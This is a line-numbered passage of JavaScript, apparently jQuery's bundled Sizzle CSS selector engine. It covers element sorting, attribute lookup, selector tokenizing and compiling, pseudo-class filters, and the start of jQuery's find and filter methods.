  899. return true
  900. }
  901. }
  902. }
  903. return false
  904. };
  905. sortOrder = hasCompare ? function(a, b) {
  906. if (a === b) {
  907. hasDuplicate = true;
  908. return 0
  909. }
  910. var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
  911. if (compare) {
  912. return compare
  913. }
  914. compare = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1;
  915. if (compare & 1 || (!support.sortDetached && b.compareDocumentPosition(a) === compare)) {
  916. if (a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a)) {
  917. return -1
  918. }
  919. if (b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b)) {
  920. return 1
  921. }
  922. return sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
  923. }
  924. return compare & 4 ? -1 : 1
  925. } : function(a, b) {
  926. if (a === b) {
  927. hasDuplicate = true;
  928. return 0
  929. }
  930. var cur, i = 0,
  931. aup = a.parentNode,
  932. bup = b.parentNode,
  933. ap = [a],
  934. bp = [b];
  935. if (!aup || !bup) {
  936. return a === doc ? -1 : b === doc ? 1 : aup ? -1 : bup ? 1 : sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
  937. } else if (aup === bup) {
  938. return siblingCheck(a, b)
  939. }
  940. cur = a;
  941. while ((cur = cur.parentNode)) {
  942. ap.unshift(cur)
  943. }
  944. cur = b;
  945. while ((cur = cur.parentNode)) {
  946. bp.unshift(cur)
  947. }
  948. while (ap[i] === bp[i]) {
  949. i++
  950. }
  951. return i ? siblingCheck(ap[i], bp[i]) : ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0
  952. };
  953. return doc
  954. };
  955. Sizzle.matches = function(expr, elements) {
  956. return Sizzle(expr, null, null, elements)
  957. };
  958. Sizzle.matchesSelector = function(elem, expr) {
  959. if ((elem.ownerDocument || elem) !== document) {
  960. setDocument(elem)
  961. }
  962. expr = expr.replace(rattributeQuotes, "='$1']");
  963. if (support.matchesSelector && documentIsHTML && (!rbuggyMatches || !rbuggyMatches.test(expr)) && (!rbuggyQSA || !rbuggyQSA.test(expr))) {
  964. try {
  965. var ret = matches.call(elem, expr);
  966. if (ret || support.disconnectedMatch || elem.document && elem.document.nodeType !== 11) {
  967. return ret
  968. }
  969. } catch (e) {}
  970. }
  971. return Sizzle(expr, document, null, [elem]).length > 0
  972. };
  973. Sizzle.contains = function(context, elem) {
  974. if ((context.ownerDocument || context) !== document) {
  975. setDocument(context)
  976. }
  977. return contains(context, elem)
  978. };
  979. Sizzle.attr = function(elem, name) {
  980. if ((elem.ownerDocument || elem) !== document) {
  981. setDocument(elem)
  982. }
  983. var fn = Expr.attrHandle[name.toLowerCase()],
  984. val = fn && hasOwn.call(Expr.attrHandle, name.toLowerCase()) ? fn(elem, name, !documentIsHTML) : undefined;
  985. return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute(name) : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
  986. };
  987. Sizzle.error = function(msg) {
  988. throw new Error("Syntax error, unrecognized expression: " + msg);
  989. };
  990. Sizzle.uniqueSort = function(results) {
  991. var elem, duplicates = [],
  992. j = 0,
  993. i = 0;
  994. hasDuplicate = !support.detectDuplicates;
  995. sortInput = !support.sortStable && results.slice(0);
  996. results.sort(sortOrder);
  997. if (hasDuplicate) {
  998. while ((elem = results[i++])) {
  999. if (elem === results[i]) {
  1000. j = duplicates.push(i)
  1001. }
  1002. }
  1003. while (j--) {
  1004. results.splice(duplicates[j], 1)
  1005. }
  1006. }
  1007. sortInput = null;
  1008. return results
  1009. };
  1010. getText = Sizzle.getText = function(elem) {
  1011. var node, ret = "",
  1012. i = 0,
  1013. nodeType = elem.nodeType;
  1014. if (!nodeType) {
  1015. while ((node = elem[i++])) {
  1016. ret += getText(node)
  1017. }
  1018. } else if (nodeType === 1 || nodeType === 9 || nodeType === 11) {
  1019. if (typeof elem.textContent === "string") {
  1020. return elem.textContent
  1021. } else {
  1022. for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
  1023. ret += getText(elem)
  1024. }
  1025. }
  1026. } else if (nodeType === 3 || nodeType === 4) {
  1027. return elem.nodeValue
  1028. }
  1029. return ret
  1030. };
  1031. Expr = Sizzle.selectors = {
  1032. cacheLength: 50,
  1033. createPseudo: markFunction,
  1034. match: matchExpr,
  1035. attrHandle: {},
  1036. find: {},
  1037. relative: {
  1038. ">": {
  1039. dir: "parentNode",
  1040. first: true
  1041. },
  1042. " ": {
  1043. dir: "parentNode"
  1044. },
  1045. "+": {
  1046. dir: "previousSibling",
  1047. first: true
  1048. },
  1049. "~": {
  1050. dir: "previousSibling"
  1051. }
  1052. },
  1053. preFilter: {
  1054. "ATTR": function(match) {
  1055. match[1] = match[1].replace(runescape, funescape);
  1056. match[3] = (match[3] || match[4] || match[5] || "").replace(runescape, funescape);
  1057. if (match[2] === "~=") {
  1058. match[3] = " " + match[3] + " "
  1059. }
  1060. return match.slice(0, 4)
  1061. },
  1062. "CHILD": function(match) {
  1063. match[1] = match[1].toLowerCase();
  1064. if (match[1].slice(0, 3) === "nth") {
  1065. if (!match[3]) {
  1066. Sizzle.error(match[0])
  1067. }
  1068. match[4] = +(match[4] ? match[5] + (match[6] || 1) : 2 * (match[3] === "even" || match[3] === "odd"));
  1069. match[5] = +((match[7] + match[8]) || match[3] === "odd")
  1070. } else if (match[3]) {
  1071. Sizzle.error(match[0])
  1072. }
  1073. return match
  1074. },
  1075. "PSEUDO": function(match) {
  1076. var excess, unquoted = !match[6] && match[2];
  1077. if (matchExpr["CHILD"].test(match[0])) {
  1078. return null
  1079. }
  1080. if (match[3]) {
  1081. match[2] = match[4] || match[5] || ""
  1082. } else if (unquoted && rpseudo.test(unquoted) && (excess = tokenize(unquoted, true)) && (excess = unquoted.indexOf(")", unquoted.length - excess) - unquoted.length)) {
  1083. match[0] = match[0].slice(0, excess);
  1084. match[2] = unquoted.slice(0, excess)
  1085. }
  1086. return match.slice(0, 3)
  1087. }
  1088. },
  1089. filter: {
  1090. "TAG": function(nodeNameSelector) {
  1091. var nodeName = nodeNameSelector.replace(runescape, funescape).toLowerCase();
  1092. return nodeNameSelector === "*" ? function() {
  1093. return true
  1094. } : function(elem) {
  1095. return elem.nodeName && elem.nodeName.toLowerCase() === nodeName
  1096. }
  1097. },
  1098. "CLASS": function(className) {
  1099. var pattern = classCache[className + " "];
  1100. return pattern || (pattern = new RegExp("(^|" + whitespace + ")" + className + "(" + whitespace + "|$)")) && classCache(className, function(elem) {
  1101. return pattern.test(typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "")
  1102. })
  1103. },
  1104. "ATTR": function(name, operator, check) {
  1105. return function(elem) {
  1106. var result = Sizzle.attr(elem, name);
  1107. if (result == null) {
  1108. return operator === "!="
  1109. }
  1110. if (!operator) {
  1111. return true
  1112. }
  1113. result += "";
  1114. return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf(check) === 0 : operator === "*=" ? check && result.indexOf(check) > -1 : operator === "$=" ? check && result.slice(-check.length) === check : operator === "~=" ? (" " + result.replace(rwhitespace, " ") + " ").indexOf(check) > -1 : operator === "|=" ? result === check || result.slice(0, check.length + 1) === check + "-" : false
  1115. }
  1116. },
  1117. "CHILD": function(type, what, argument, first, last) {
  1118. var simple = type.slice(0, 3) !== "nth",
  1119. forward = type.slice(-4) !== "last",
  1120. ofType = what === "of-type";
  1121. return first === 1 && last === 0 ? function(elem) {
  1122. return !!elem.parentNode
  1123. } : function(elem, context, xml) {
  1124. var cache, outerCache, node, diff, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling",
  1125. parent = elem.parentNode,
  1126. name = ofType && elem.nodeName.toLowerCase(),
  1127. useCache = !xml && !ofType;
  1128. if (parent) {
  1129. if (simple) {
  1130. while (dir) {
  1131. node = elem;
  1132. while ((node = node[dir])) {
  1133. if (ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) {
  1134. return false
  1135. }
  1136. }
  1137. start = dir = type === "only" && !start && "nextSibling"
  1138. }
  1139. return true
  1140. }
  1141. start = [forward ? parent.firstChild : parent.lastChild];
  1142. if (forward && useCache) {
  1143. outerCache = parent[expando] || (parent[expando] = {});
  1144. cache = outerCache[type] || [];
  1145. nodeIndex = cache[0] === dirruns && cache[1];
  1146. diff = cache[0] === dirruns && cache[2];
  1147. node = nodeIndex && parent.childNodes[nodeIndex];
  1148. while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
  1149. if (node.nodeType === 1 && ++diff && node === elem) {
  1150. outerCache[type] = [dirruns, nodeIndex, diff];
  1151. break
  1152. }
  1153. }
  1154. } else if (useCache && (cache = (elem[expando] || (elem[expando] = {}))[type]) && cache[0] === dirruns) {
  1155. diff = cache[1]
  1156. } else {
  1157. while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
  1158. if ((ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) && ++diff) {
  1159. if (useCache) {
  1160. (node[expando] || (node[expando] = {}))[type] = [dirruns, diff]
  1161. }
  1162. if (node === elem) {
  1163. break
  1164. }
  1165. }
  1166. }
  1167. }
  1168. diff -= last;
  1169. return diff === first || (diff % first === 0 && diff / first >= 0)
  1170. }
  1171. }
  1172. },
  1173. "PSEUDO": function(pseudo, argument) {
  1174. var args, fn = Expr.pseudos[pseudo] || Expr.setFilters[pseudo.toLowerCase()] || Sizzle.error("unsupported pseudo: " + pseudo);
  1175. if (fn[expando]) {
  1176. return fn(argument)
  1177. }
  1178. if (fn.length > 1) {
  1179. args = [pseudo, pseudo, "", argument];
  1180. return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase()) ? markFunction(function(seed, matches) {
  1181. var idx, matched = fn(seed, argument),
  1182. i = matched.length;
  1183. while (i--) {
  1184. idx = indexOf(seed, matched[i]);
  1185. seed[idx] = !(matches[idx] = matched[i])
  1186. }
  1187. }) : function(elem) {
  1188. return fn(elem, 0, args)
  1189. }
  1190. }
  1191. return fn
  1192. }
  1193. },
  1194. pseudos: {
  1195. "not": markFunction(function(selector) {
  1196. var input = [],
  1197. results = [],
  1198. matcher = compile(selector.replace(rtrim, "$1"));
  1199. return matcher[expando] ? markFunction(function(seed, matches, context, xml) {
  1200. var elem, unmatched = matcher(seed, null, xml, []),
  1201. i = seed.length;
  1202. while (i--) {
  1203. if ((elem = unmatched[i])) {
  1204. seed[i] = !(matches[i] = elem)
  1205. }
  1206. }
  1207. }) : function(elem, context, xml) {
  1208. input[0] = elem;
  1209. matcher(input, null, xml, results);
  1210. input[0] = null;
  1211. return !results.pop()
  1212. }
  1213. }),
  1214. "has": markFunction(function(selector) {
  1215. return function(elem) {
  1216. return Sizzle(selector, elem).length > 0
  1217. }
  1218. }),
  1219. "contains": markFunction(function(text) {
  1220. text = text.replace(runescape, funescape);
  1221. return function(elem) {
  1222. return (elem.textContent || elem.innerText || getText(elem)).indexOf(text) > -1
  1223. }
  1224. }),
  1225. "lang": markFunction(function(lang) {
  1226. if (!ridentifier.test(lang || "")) {
  1227. Sizzle.error("unsupported lang: " + lang)
  1228. }
  1229. lang = lang.replace(runescape, funescape).toLowerCase();
  1230. return function(elem) {
  1231. var elemLang;
  1232. do {
  1233. if ((elemLang = documentIsHTML ? elem.lang : elem.getAttribute("xml:lang") || elem.getAttribute("lang"))) {
  1234. elemLang = elemLang.toLowerCase();
  1235. return elemLang === lang || elemLang.indexOf(lang + "-") === 0
  1236. }
  1237. } while ((elem = elem.parentNode) && elem.nodeType === 1);
  1238. return false
  1239. }
  1240. }),
  1241. "target": function(elem) {
  1242. var hash = window.location && window.location.hash;
  1243. return hash && hash.slice(1) === elem.id
  1244. },
  1245. "root": function(elem) {
  1246. return elem === docElem
  1247. },
  1248. "focus": function(elem) {
  1249. return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex)
  1250. },
  1251. "enabled": function(elem) {
  1252. return elem.disabled === false
  1253. },
  1254. "disabled": function(elem) {
  1255. return elem.disabled === true
  1256. },
  1257. "checked": function(elem) {
  1258. var nodeName = elem.nodeName.toLowerCase();
  1259. return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected)
  1260. },
  1261. "selected": function(elem) {
  1262. if (elem.parentNode) {
  1263. elem.parentNode.selectedIndex
  1264. }
  1265. return elem.selected === true
  1266. },
  1267. "empty": function(elem) {
  1268. for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
  1269. if (elem.nodeType < 6) {
  1270. return false
  1271. }
  1272. }
  1273. return true
  1274. },
  1275. "parent": function(elem) {
  1276. return !Expr.pseudos["empty"](elem)
  1277. },
  1278. "header": function(elem) {
  1279. return rheader.test(elem.nodeName)
  1280. },
  1281. "input": function(elem) {
  1282. return rinputs.test(elem.nodeName)
  1283. },
  1284. "button": function(elem) {
  1285. var name = elem.nodeName.toLowerCase();
  1286. return name === "input" && elem.type === "button" || name === "button"
  1287. },
  1288. "text": function(elem) {
  1289. var attr;
  1290. return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && ((attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text")
  1291. },
  1292. "first": createPositionalPseudo(function() {
  1293. return [0]
  1294. }),
  1295. "last": createPositionalPseudo(function(matchIndexes, length) {
  1296. return [length - 1]
  1297. }),
  1298. "eq": createPositionalPseudo(function(matchIndexes, length, argument) {
  1299. return [argument < 0 ? argument + length : argument]
  1300. }),
  1301. "even": createPositionalPseudo(function(matchIndexes, length) {
  1302. var i = 0;
  1303. for (; i < length; i += 2) {
  1304. matchIndexes.push(i)
  1305. }
  1306. return matchIndexes
  1307. }),
  1308. "odd": createPositionalPseudo(function(matchIndexes, length) {
  1309. var i = 1;
  1310. for (; i < length; i += 2) {
  1311. matchIndexes.push(i)
  1312. }
  1313. return matchIndexes
  1314. }),
  1315. "lt": createPositionalPseudo(function(matchIndexes, length, argument) {
  1316. var i = argument < 0 ? argument + length : argument;
  1317. for (; --i >= 0;) {
  1318. matchIndexes.push(i)
  1319. }
  1320. return matchIndexes
  1321. }),
  1322. "gt": createPositionalPseudo(function(matchIndexes, length, argument) {
  1323. var i = argument < 0 ? argument + length : argument;
  1324. for (; ++i < length;) {
  1325. matchIndexes.push(i)
  1326. }
  1327. return matchIndexes
  1328. })
  1329. }
  1330. };
  1331. Expr.pseudos["nth"] = Expr.pseudos["eq"];
  1332. for (i in {
  1333. radio: true,
  1334. checkbox: true,
  1335. file: true,
  1336. password: true,
  1337. image: true
  1338. }) {
  1339. Expr.pseudos[i] = createInputPseudo(i)
  1340. }
  1341. for (i in {
  1342. submit: true,
  1343. reset: true
  1344. }) {
  1345. Expr.pseudos[i] = createButtonPseudo(i)
  1346. }
  1347.  
  1348. function setFilters() {}
  1349. setFilters.prototype = Expr.filters = Expr.pseudos;
  1350. Expr.setFilters = new setFilters();
  1351. tokenize = Sizzle.tokenize = function(selector, parseOnly) {
  1352. var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[selector + " "];
  1353. if (cached) {
  1354. return parseOnly ? 0 : cached.slice(0)
  1355. }
  1356. soFar = selector;
  1357. groups = [];
  1358. preFilters = Expr.preFilter;
  1359. while (soFar) {
  1360. if (!matched || (match = rcomma.exec(soFar))) {
  1361. if (match) {
  1362. soFar = soFar.slice(match[0].length) || soFar
  1363. }
  1364. groups.push((tokens = []))
  1365. }
  1366. matched = false;
  1367. if ((match = rcombinators.exec(soFar))) {
  1368. matched = match.shift();
  1369. tokens.push({
  1370. value: matched,
  1371. type: match[0].replace(rtrim, " ")
  1372. });
  1373. soFar = soFar.slice(matched.length)
  1374. }
  1375. for (type in Expr.filter) {
  1376. if ((match = matchExpr[type].exec(soFar)) && (!preFilters[type] || (match = preFilters[type](match)))) {
  1377. matched = match.shift();
  1378. tokens.push({
  1379. value: matched,
  1380. type: type,
  1381. matches: match
  1382. });
  1383. soFar = soFar.slice(matched.length)
  1384. }
  1385. }
  1386. if (!matched) {
  1387. break
  1388. }
  1389. }
  1390. return parseOnly ? soFar.length : soFar ? Sizzle.error(selector) : tokenCache(selector, groups).slice(0)
  1391. };
  1392.  
  1393. function toSelector(tokens) {
  1394. var i = 0,
  1395. len = tokens.length,
  1396. selector = "";
  1397. for (; i < len; i++) {
  1398. selector += tokens[i].value
  1399. }
  1400. return selector
  1401. }
  1402.  
  1403. function addCombinator(matcher, combinator, base) {
  1404. var dir = combinator.dir,
  1405. checkNonElements = base && dir === "parentNode",
  1406. doneName = done++;
  1407. return combinator.first ? function(elem, context, xml) {
  1408. while ((elem = elem[dir])) {
  1409. if (elem.nodeType === 1 || checkNonElements) {
  1410. return matcher(elem, context, xml)
  1411. }
  1412. }
  1413. } : function(elem, context, xml) {
  1414. var oldCache, outerCache, newCache = [dirruns, doneName];
  1415. if (xml) {
  1416. while ((elem = elem[dir])) {
  1417. if (elem.nodeType === 1 || checkNonElements) {
  1418. if (matcher(elem, context, xml)) {
  1419. return true
  1420. }
  1421. }
  1422. }
  1423. } else {
  1424. while ((elem = elem[dir])) {
  1425. if (elem.nodeType === 1 || checkNonElements) {
  1426. outerCache = elem[expando] || (elem[expando] = {});
  1427. if ((oldCache = outerCache[dir]) && oldCache[0] === dirruns && oldCache[1] === doneName) {
  1428. return (newCache[2] = oldCache[2])
  1429. } else {
  1430. outerCache[dir] = newCache;
  1431. if ((newCache[2] = matcher(elem, context, xml))) {
  1432. return true
  1433. }
  1434. }
  1435. }
  1436. }
  1437. }
  1438. }
  1439. }
  1440.  
  1441. function elementMatcher(matchers) {
  1442. return matchers.length > 1 ? function(elem, context, xml) {
  1443. var i = matchers.length;
  1444. while (i--) {
  1445. if (!matchers[i](elem, context, xml)) {
  1446. return false
  1447. }
  1448. }
  1449. return true
  1450. } : matchers[0]
  1451. }
  1452.  
  1453. function multipleContexts(selector, contexts, results) {
  1454. var i = 0,
  1455. len = contexts.length;
  1456. for (; i < len; i++) {
  1457. Sizzle(selector, contexts[i], results)
  1458. }
  1459. return results
  1460. }
  1461.  
  1462. function condense(unmatched, map, filter, context, xml) {
  1463. var elem, newUnmatched = [],
  1464. i = 0,
  1465. len = unmatched.length,
  1466. mapped = map != null;
  1467. for (; i < len; i++) {
  1468. if ((elem = unmatched[i])) {
  1469. if (!filter || filter(elem, context, xml)) {
  1470. newUnmatched.push(elem);
  1471. if (mapped) {
  1472. map.push(i)
  1473. }
  1474. }
  1475. }
  1476. }
  1477. return newUnmatched
  1478. }
  1479.  
  1480. function setMatcher(preFilter, selector, matcher, postFilter, postFinder, postSelector) {
  1481. if (postFilter && !postFilter[expando]) {
  1482. postFilter = setMatcher(postFilter)
  1483. }
  1484. if (postFinder && !postFinder[expando]) {
  1485. postFinder = setMatcher(postFinder, postSelector)
  1486. }
  1487. return markFunction(function(seed, results, context, xml) {
  1488. var temp, i, elem, preMap = [],
  1489. postMap = [],
  1490. preexisting = results.length,
  1491. elems = seed || multipleContexts(selector || "*", context.nodeType ? [context] : context, []),
  1492. matcherIn = preFilter && (seed || !selector) ? condense(elems, preMap, preFilter, context, xml) : elems,
  1493. matcherOut = matcher ? postFinder || (seed ? preFilter : preexisting || postFilter) ? [] : results : matcherIn;
  1494. if (matcher) {
  1495. matcher(matcherIn, matcherOut, context, xml)
  1496. }
  1497. if (postFilter) {
  1498. temp = condense(matcherOut, postMap);
  1499. postFilter(temp, [], context, xml);
  1500. i = temp.length;
  1501. while (i--) {
  1502. if ((elem = temp[i])) {
  1503. matcherOut[postMap[i]] = !(matcherIn[postMap[i]] = elem)
  1504. }
  1505. }
  1506. }
  1507. if (seed) {
  1508. if (postFinder || preFilter) {
  1509. if (postFinder) {
  1510. temp = [];
  1511. i = matcherOut.length;
  1512. while (i--) {
  1513. if ((elem = matcherOut[i])) {
  1514. temp.push((matcherIn[i] = elem))
  1515. }
  1516. }
  1517. postFinder(null, (matcherOut = []), temp, xml)
  1518. }
  1519. i = matcherOut.length;
  1520. while (i--) {
  1521. if ((elem = matcherOut[i]) && (temp = postFinder ? indexOf(seed, elem) : preMap[i]) > -1) {
  1522. seed[temp] = !(results[temp] = elem)
  1523. }
  1524. }
  1525. }
  1526. } else {
  1527. matcherOut = condense(matcherOut === results ? matcherOut.splice(preexisting, matcherOut.length) : matcherOut);
  1528. if (postFinder) {
  1529. postFinder(null, results, matcherOut, xml)
  1530. } else {
  1531. push.apply(results, matcherOut)
  1532. }
  1533. }
  1534. })
  1535. }
  1536.  
  1537. function matcherFromTokens(tokens) {
  1538. var checkContext, matcher, j, len = tokens.length,
  1539. leadingRelative = Expr.relative[tokens[0].type],
  1540. implicitRelative = leadingRelative || Expr.relative[" "],
  1541. i = leadingRelative ? 1 : 0,
  1542. matchContext = addCombinator(function(elem) {
  1543. return elem === checkContext
  1544. }, implicitRelative, true),
  1545. matchAnyContext = addCombinator(function(elem) {
  1546. return indexOf(checkContext, elem) > -1
  1547. }, implicitRelative, true),
  1548. matchers = [function(elem, context, xml) {
  1549. var ret = (!leadingRelative && (xml || context !== outermostContext)) || ((checkContext = context).nodeType ? matchContext(elem, context, xml) : matchAnyContext(elem, context, xml));
  1550. checkContext = null;
  1551. return ret
  1552. }];
  1553. for (; i < len; i++) {
  1554. if ((matcher = Expr.relative[tokens[i].type])) {
  1555. matchers = [addCombinator(elementMatcher(matchers), matcher)]
  1556. } else {
  1557. matcher = Expr.filter[tokens[i].type].apply(null, tokens[i].matches);
  1558. if (matcher[expando]) {
  1559. j = ++i;
  1560. for (; j < len; j++) {
  1561. if (Expr.relative[tokens[j].type]) {
  1562. break
  1563. }
  1564. }
  1565. return setMatcher(i > 1 && elementMatcher(matchers), i > 1 && toSelector(tokens.slice(0, i - 1).concat({
  1566. value: tokens[i - 2].type === " " ? "*" : ""
  1567. })).replace(rtrim, "$1"), matcher, i < j && matcherFromTokens(tokens.slice(i, j)), j < len && matcherFromTokens((tokens = tokens.slice(j))), j < len && toSelector(tokens))
  1568. }
  1569. matchers.push(matcher)
  1570. }
  1571. }
  1572. return elementMatcher(matchers)
  1573. }
  1574.  
  1575. function matcherFromGroupMatchers(elementMatchers, setMatchers) {
  1576. var bySet = setMatchers.length > 0,
  1577. byElement = elementMatchers.length > 0,
  1578. superMatcher = function(seed, context, xml, results, outermost) {
  1579. var elem, j, matcher, matchedCount = 0,
  1580. i = "0",
  1581. unmatched = seed && [],
  1582. setMatched = [],
  1583. contextBackup = outermostContext,
  1584. elems = seed || byElement && Expr.find["TAG"]("*", outermost),
  1585. dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
  1586. len = elems.length;
  1587. if (outermost) {
  1588. outermostContext = context !== document && context
  1589. }
  1590. for (; i !== len && (elem = elems[i]) != null; i++) {
  1591. if (byElement && elem) {
  1592. j = 0;
  1593. while ((matcher = elementMatchers[j++])) {
  1594. if (matcher(elem, context, xml)) {
  1595. results.push(elem);
  1596. break
  1597. }
  1598. }
  1599. if (outermost) {
  1600. dirruns = dirrunsUnique
  1601. }
  1602. }
  1603. if (bySet) {
  1604. if ((elem = !matcher && elem)) {
  1605. matchedCount--
  1606. }
  1607. if (seed) {
  1608. unmatched.push(elem)
  1609. }
  1610. }
  1611. }
  1612. matchedCount += i;
  1613. if (bySet && i !== matchedCount) {
  1614. j = 0;
  1615. while ((matcher = setMatchers[j++])) {
  1616. matcher(unmatched, setMatched, context, xml)
  1617. }
  1618. if (seed) {
  1619. if (matchedCount > 0) {
  1620. while (i--) {
  1621. if (!(unmatched[i] || setMatched[i])) {
  1622. setMatched[i] = pop.call(results)
  1623. }
  1624. }
  1625. }
  1626. setMatched = condense(setMatched)
  1627. }
  1628. push.apply(results, setMatched);
  1629. if (outermost && !seed && setMatched.length > 0 && (matchedCount + setMatchers.length) > 1) {
  1630. Sizzle.uniqueSort(results)
  1631. }
  1632. }
  1633. if (outermost) {
  1634. dirruns = dirrunsUnique;
  1635. outermostContext = contextBackup
  1636. }
  1637. return unmatched
  1638. };
  1639. return bySet ? markFunction(superMatcher) : superMatcher
  1640. }
  1641. compile = Sizzle.compile = function(selector, match) {
  1642. var i, setMatchers = [],
  1643. elementMatchers = [],
  1644. cached = compilerCache[selector + " "];
  1645. if (!cached) {
  1646. if (!match) {
  1647. match = tokenize(selector)
  1648. }
  1649. i = match.length;
  1650. while (i--) {
  1651. cached = matcherFromTokens(match[i]);
  1652. if (cached[expando]) {
  1653. setMatchers.push(cached)
  1654. } else {
  1655. elementMatchers.push(cached)
  1656. }
  1657. }
  1658. cached = compilerCache(selector, matcherFromGroupMatchers(elementMatchers, setMatchers));
  1659. cached.selector = selector
  1660. }
  1661. return cached
  1662. };
  1663. select = Sizzle.select = function(selector, context, results, seed) {
  1664. var i, tokens, token, type, find, compiled = typeof selector === "function" && selector,
  1665. match = !seed && tokenize((selector = compiled.selector || selector));
  1666. results = results || [];
  1667. if (match.length === 1) {
  1668. tokens = match[0] = match[0].slice(0);
  1669. if (tokens.length > 2 && (token = tokens[0]).type === "ID" && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[tokens[1].type]) {
  1670. context = (Expr.find["ID"](token.matches[0].replace(runescape, funescape), context) || [])[0];
  1671. if (!context) {
  1672. return results
  1673. } else if (compiled) {
  1674. context = context.parentNode
  1675. }
  1676. selector = selector.slice(tokens.shift().value.length)
  1677. }
  1678. i = matchExpr["needsContext"].test(selector) ? 0 : tokens.length;
  1679. while (i--) {
  1680. token = tokens[i];
  1681. if (Expr.relative[(type = token.type)]) {
  1682. break
  1683. }
  1684. if ((find = Expr.find[type])) {
  1685. if ((seed = find(token.matches[0].replace(runescape, funescape), rsibling.test(tokens[0].type) && testContext(context.parentNode) || context))) {
  1686. tokens.splice(i, 1);
  1687. selector = seed.length && toSelector(tokens);
  1688. if (!selector) {
  1689. push.apply(results, seed);
  1690. return results
  1691. }
  1692. break
  1693. }
  1694. }
  1695. }
  1696. }(compiled || compile(selector, match))(seed, context, !documentIsHTML, results, rsibling.test(selector) && testContext(context.parentNode) || context);
  1697. return results
  1698. };
  1699. support.sortStable = expando.split("").sort(sortOrder).join("") === expando;
  1700. support.detectDuplicates = !!hasDuplicate;
  1701. setDocument();
  1702. support.sortDetached = assert(function(div1) {
  1703. return div1.compareDocumentPosition(document.createElement("div")) & 1
  1704. });
  1705. if (!assert(function(div) {
  1706. div.innerHTML = "<a href='#'></a>";
  1707. return div.firstChild.getAttribute("href") === "#"
  1708. })) {
  1709. addHandle("type|href|height|width", function(elem, name, isXML) {
  1710. if (!isXML) {
  1711. return elem.getAttribute(name, name.toLowerCase() === "type" ? 1 : 2)
  1712. }
  1713. })
  1714. }
  1715. if (!support.attributes || !assert(function(div) {
  1716. div.innerHTML = "<input/>";
  1717. div.firstChild.setAttribute("value", "");
  1718. return div.firstChild.getAttribute("value") === ""
  1719. })) {
  1720. addHandle("value", function(elem, name, isXML) {
  1721. if (!isXML && elem.nodeName.toLowerCase() === "input") {
  1722. return elem.defaultValue
  1723. }
  1724. })
  1725. }
  1726. if (!assert(function(div) {
  1727. return div.getAttribute("disabled") == null
  1728. })) {
  1729. addHandle(booleans, function(elem, name, isXML) {
  1730. var val;
  1731. if (!isXML) {
  1732. return elem[name] === true ? name.toLowerCase() : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
  1733. }
  1734. })
  1735. }
  1736. return Sizzle
  1737. })(window);
  1738. jQuery.find = Sizzle;
  1739. jQuery.expr = Sizzle.selectors;
  1740. jQuery.expr[":"] = jQuery.expr.pseudos;
  1741. jQuery.unique = Sizzle.uniqueSort;
  1742. jQuery.text = Sizzle.getText;
  1743. jQuery.isXMLDoc = Sizzle.isXML;
  1744. jQuery.contains = Sizzle.contains;
  1745. var rneedsContext = jQuery.expr.match.needsContext;
  1746. var rsingleTag = (/^<(\w+)\s*\/?>(?:<\/\1>|)$/);
  1747. var risSimple = /^.[^:#\[\.,]*$/;
  1748.  
  1749. function winnow(elements, qualifier, not) {
  1750. if (jQuery.isFunction(qualifier)) {
  1751. return jQuery.grep(elements, function(elem, i) {
  1752. return !!qualifier.call(elem, i, elem) !== not
  1753. })
  1754. }
  1755. if (qualifier.nodeType) {
  1756. return jQuery.grep(elements, function(elem) {
  1757. return (elem === qualifier) !== not
  1758. })
  1759. }
  1760. if (typeof qualifier === "string") {
  1761. if (risSimple.test(qualifier)) {
  1762. return jQuery.filter(qualifier, elements, not)
  1763. }
  1764. qualifier = jQuery.filter(qualifier, elements)
  1765. }
  1766. return jQuery.grep(elements, function(elem) {
  1767. return (jQuery.inArray(elem, qualifier) >= 0) !== not
  1768. })
  1769. }
  1770. jQuery.filter = function(expr, elems, not) {
  1771. var elem = elems[0];
  1772. if (not) {
  1773. expr = ":not(" + expr + ")"
  1774. }
  1775. return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector(elem, expr) ? [elem] : [] : jQuery.find.matches(expr, jQuery.grep(elems, function(elem) {
  1776. return elem.nodeType === 1
  1777. }))
  1778. };
  1779. jQuery.fn.extend({
  1780. find: function(selector) {
  1781. var i, ret = [],
  1782. self = this,
  1783. len = self.length;
  1784. if (typeof selector !== "string") {
  1785. return this.pushStack(jQuery(selector).filter(function() {
  1786. for (i = 0; i < len; i++) {
  1787. if (jQuery.contains(self[i], this)) {
  1788. return true
  1789. }
  1790. }
  1791. }))
  1792. }
  1793. for (i = 0; i < len; i++) {
  1794. jQuery.find(selector, self[i], ret)
  1795. }
  1796. ret = this.pushStack(len > 1 ? jQuery.unique(ret) : ret);
  1797. ret.selector = this.selector ? this.selector + " " + selector : selector;
  1798. return ret
  1799. },
  1800. filter: function(selector) {
